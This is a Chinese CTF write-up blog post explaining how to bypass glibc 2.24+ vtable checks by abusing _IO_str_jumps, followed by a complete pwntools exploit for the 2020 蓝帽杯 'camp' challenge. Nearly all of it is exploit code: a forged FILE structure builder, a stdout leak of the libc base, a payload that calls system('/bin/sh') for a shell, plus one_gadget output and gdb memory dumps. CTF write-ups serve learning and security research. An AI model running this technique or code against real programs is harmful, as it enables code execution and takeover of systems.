高版本GLIBC攻击IO_FILE

August 8, 2020 PWN CTF-Writeup 访问: 34 次

glibc2.24之后,对vtable进行了检查,绕过方法是通过_IO_str_jumps

原理网上很多,payload构造如下所示:

def pack_file(_flags = 0,
              _IO_read_ptr = 0,
              _IO_read_end = 0,
              _IO_read_base = 0,
              _IO_write_base = 0,
              _IO_write_ptr = 0,
              _IO_write_end = 0,
              _IO_buf_base = 0,
              _IO_buf_end = 0,
              _IO_save_base = 0,
              _IO_backup_base = 0,
              _IO_save_end = 0,
              _IO_marker = 0,
              _IO_chain = 0,
              _fileno = 0,
              _lock = 0,
              _wide_data = 0,
              _mode = 0):
    file_struct = p32(_flags) + \
             p32(0) + \
             p64(_IO_read_ptr) + \
             p64(_IO_read_end) + \
             p64(_IO_read_base) + \
             p64(_IO_write_base) + \
             p64(_IO_write_ptr) + \
             p64(_IO_write_end) + \
             p64(_IO_buf_base) + \
             p64(_IO_buf_end) + \
             p64(_IO_save_base) + \
             p64(_IO_backup_base) + \
             p64(_IO_save_end) + \
             p64(_IO_marker) + \
             p64(_IO_chain) + \
             p32(_fileno)
    file_struct = file_struct.ljust(0x88, "\x00")
    file_struct += p64(_lock)
    file_struct = file_struct.ljust(0xa0, "\x00")
    file_struct += p64(_wide_data)
    file_struct = file_struct.ljust(0xc0, '\x00')
    file_struct += p64(_mode)
    file_struct = file_struct.ljust(0xd8, "\x00")
    return file_struct

def pack_file_flush_str_jumps(_IO_str_jumps_addr, system_addr, binsh_addr):
    payload = pack_file(_flags = 0,
                        _IO_read_ptr = 0, 
                        _IO_read_base = 0, 
                        _IO_write_base = 0,
                        _IO_write_ptr = 1,
                        _IO_buf_base = binsh_addr,
                        _mode = 0,
                        )
    payload += p64(_IO_str_jumps_addr-8)
    payload += p64(0) # paddding
    payload += p64(system_addr)
    return payload

payload = pack_file_flush_str_jumps(str_jump,system_a,binsh)

2020 蓝帽杯-camp

直接可以修改stdin 、stdout、stderr,所以,先利用_IO_file进行泄露,再利用_IO_str_jumps进行getshell

from pwn import *
import sys
context.log_level='debug'
debug = 1
file_name = './pwn'
libc_name = '/lib/x86_64-linux-gnu/libc.so.6'
ip = '47.93.204.245'
prot = '16543'
if debug:
    r = process(file_name)
    libc = ELF(libc_name)
else:
    r = remote(ip,int(prot))
    libc = ELF(libc_name)

file = ELF(file_name)

sl = lambda x : r.sendline(x)
sd = lambda x : r.send(x)
sla = lambda x,y : r.sendlineafter(x,y)
rud = lambda x : r.recvuntil(x,drop=True)
ru = lambda x : r.recvuntil(x)
li = lambda name,x : log.info(name+':'+hex(x))
ri = lambda  : r.interactive()
def add_1(chunk_size,value):
    ru('>>>')
    sl('1')
    ru('size:')
    sl(str(chunk_size))
    ru('ontent:')
    sd(value)
def delete(index):
    ru('')
    sl('')
    ru('')
    sl(str(index))
def show():
    ru('>>>')
    sl('4')
    # ru('')
    # sl(str(index))
def edit(index,value):
    ru('')
    sl('')
    ru('')
    sl(str(index))
    ru('')
    sl(value)
def debug():
    gdb.attach(r)
    raw_input()

def pack_file(_flags = 0,
              _IO_read_ptr = 0,
              _IO_read_end = 0,
              _IO_read_base = 0,
              _IO_write_base = 0,
              _IO_write_ptr = 0,
              _IO_write_end = 0,
              _IO_buf_base = 0,
              _IO_buf_end = 0,
              _IO_save_base = 0,
              _IO_backup_base = 0,
              _IO_save_end = 0,
              _IO_marker = 0,
              _IO_chain = 0,
              _fileno = 0,
              _lock = 0,
              _wide_data = 0,
              _mode = 0):
    file_struct = p32(_flags) + \
             p32(0) + \
             p64(_IO_read_ptr) + \
             p64(_IO_read_end) + \
             p64(_IO_read_base) + \
             p64(_IO_write_base) + \
             p64(_IO_write_ptr) + \
             p64(_IO_write_end) + \
             p64(_IO_buf_base) + \
             p64(_IO_buf_end) + \
             p64(_IO_save_base) + \
             p64(_IO_backup_base) + \
             p64(_IO_save_end) + \
             p64(_IO_marker) + \
             p64(_IO_chain) + \
             p32(_fileno)
    file_struct = file_struct.ljust(0x88, "\x00")
    file_struct += p64(_lock)
    file_struct = file_struct.ljust(0xa0, "\x00")
    file_struct += p64(_wide_data)
    file_struct = file_struct.ljust(0xc0, '\x00')
    file_struct += p64(_mode)
    file_struct = file_struct.ljust(0xd8, "\x00")
    return file_struct

def pack_file_flush_str_jumps(_IO_str_jumps_addr, system_addr, binsh_addr):
    payload = pack_file(_flags = 0,
                        _IO_read_ptr = 0, 
                        _IO_read_base = 0, 
                        _IO_write_base = 0,
                        _IO_write_ptr = 1,
                        _IO_buf_base = binsh_addr,
                        _mode = 0,
                        )
    payload += p64(_IO_str_jumps_addr-8)
    payload += p64(0) # paddding
    payload += p64(system_addr)
    return payload

payload = p64(0xfbad1800)+p64(0)*3+"\x00"
add_1(len(payload),payload)
rud("\x00"*0x18)
libc_base = u64(r.recv(8))-0x3c36e0
li("libc_base",libc_base)

one_gg = 0xf1207+libc_base
malloc_hook = libc_base + libc.symbols['__malloc_hook']
str_jump = 0x3c37a0+ libc_base
system_a =  libc.symbols['system']+ libc_base
binsh = 0x000000000018ce17+ libc_base

payload = pack_file_flush_str_jumps(str_jump,system_a,binsh)
debug()
print payload.encode("hex")
print len(payload)

add_1(len(payload),payload)
li("system_a",system_a)
sl('2')
sl('250')
# debug()
# raw_input()
ri()
'''
0x45226 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4527a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf0364 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1207 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL


0x7f995ea4c620 <_IO_2_1_stdout_>:   0x00000000fbad1800  0x00007f995ea4c6a3
0x7f995ea4c630 <_IO_2_1_stdout_+16>:    0x00007f995ea4c6a3  0x00007f995ea4c6a3
0x7f995ea4c640 <_IO_2_1_stdout_+32>:    0x00007f995ea4c6a3  0x00007f995ea4c6a4
0x7f995ea4c650 <_IO_2_1_stdout_+48>:    0x00007f995ea4c6a4  0x00007f995ea4c6a3
0x7f995ea4c660 <_IO_2_1_stdout_+64>:    0x00007f995ea4c6a4  0x0000000000000000
0x7f995ea4c670 <_IO_2_1_stdout_+80>:    0x0000000000000000  0x0000000000000000
0x7f995ea4c680 <_IO_2_1_stdout_+96>:    0x0000000000000000  0x00007f995ea4b8e0
0x7f995ea4c690 <_IO_2_1_stdout_+112>:   0x0000000000000001  0xffffffffffffffff
0x7f995ea4c6a0 <_IO_2_1_stdout_+128>:   0x000000000a000000  0x00007f995ea4d780
0x7f995ea4c6b0 <_IO_2_1_stdout_+144>:   0xffffffffffffffff  0x0000000000000000
0x7f995ea4c6c0 <_IO_2_1_stdout_+160>:   0x00007f995ea4b7a0  0x0000000000000000
0x7f995ea4c6d0 <_IO_2_1_stdout_+176>:   0x0000000000000000  0x0000000000000000
0x7f995ea4c6e0 <_IO_2_1_stdout_+192>:   0x00000000ffffffff  0x0000000000000000
0x7f995ea4c6f0 <_IO_2_1_stdout_+208>:   0x0000000000000000  0x00007f995ea4a6e0
0x7f995ea4c700 <stderr>:    0x00007f995ea4c540  0x00007f995ea4c620
0x7f995ea4c710 <stdin>: 0x00007f995ea4b8e0  0x00007f995e6a7b80



0x7ff5db29a620 <_IO_2_1_stdout_>:   0x0000000000000000  0x0000000000000000
0x7ff5db29a630 <_IO_2_1_stdout_+16>:    0x0000000000000000  0x0000000000000000
0x7ff5db29a640 <_IO_2_1_stdout_+32>:    0x0000000000000000  0x0000000000000001
0x7ff5db29a650 <_IO_2_1_stdout_+48>:    0x0000000000000000  0x00007ff5db061e17
0x7ff5db29a660 <_IO_2_1_stdout_+64>:    0x0000000000000000  0x0000000000000000
0x7ff5db29a670 <_IO_2_1_stdout_+80>:    0x0000000000000000  0x0000000000000000
0x7ff5db29a680 <_IO_2_1_stdout_+96>:    0x0000000000000000  0x0000000000000000
0x7ff5db29a690 <_IO_2_1_stdout_+112>:   0x0000000000000000  0x0000000000000000
0x7ff5db29a6a0 <_IO_2_1_stdout_+128>:   0x0000000000000000  0x0000000000000000
0x7ff5db29a6b0 <_IO_2_1_stdout_+144>:   0x0000000000000000  0x0000000000000000
0x7ff5db29a6c0 <_IO_2_1_stdout_+160>:   0x0000000000000000  0x0000000000000000
0x7ff5db29a6d0 <_IO_2_1_stdout_+176>:   0x0000000000000000  0x0000000000000000
0x7ff5db29a6e0 <_IO_2_1_stdout_+192>:   0x0000000000000000  0x0000000000000000
0x7ff5db29a6f0 <_IO_2_1_stdout_+208>:   0x0000000000000000  0x00007ff5db298798
0x7ff5db29a700 <stderr>:    0x0000000000000000  0x00007ff5daf1a3a0
0x7ff5db29a710 <stdin>: 0x00007ff5db2998e0  0x00007ff5daef5b80
0x7ff5db29a720 <map>:   0x0000000000000000  0x0000000000000000
0x7ff5db29a730 <__printf_arginfo_table>:    0x0000000000000000  0x0000000000000000
0x7ff5db29a740 <buf>:   0x0000000000000000  0x0000000000000000
0x7ff5db29a750 <buffer>:    0x0000000000000000  0x0000000000000000
'''

参考文献

利用 _IO_FILE 结构

添加新评论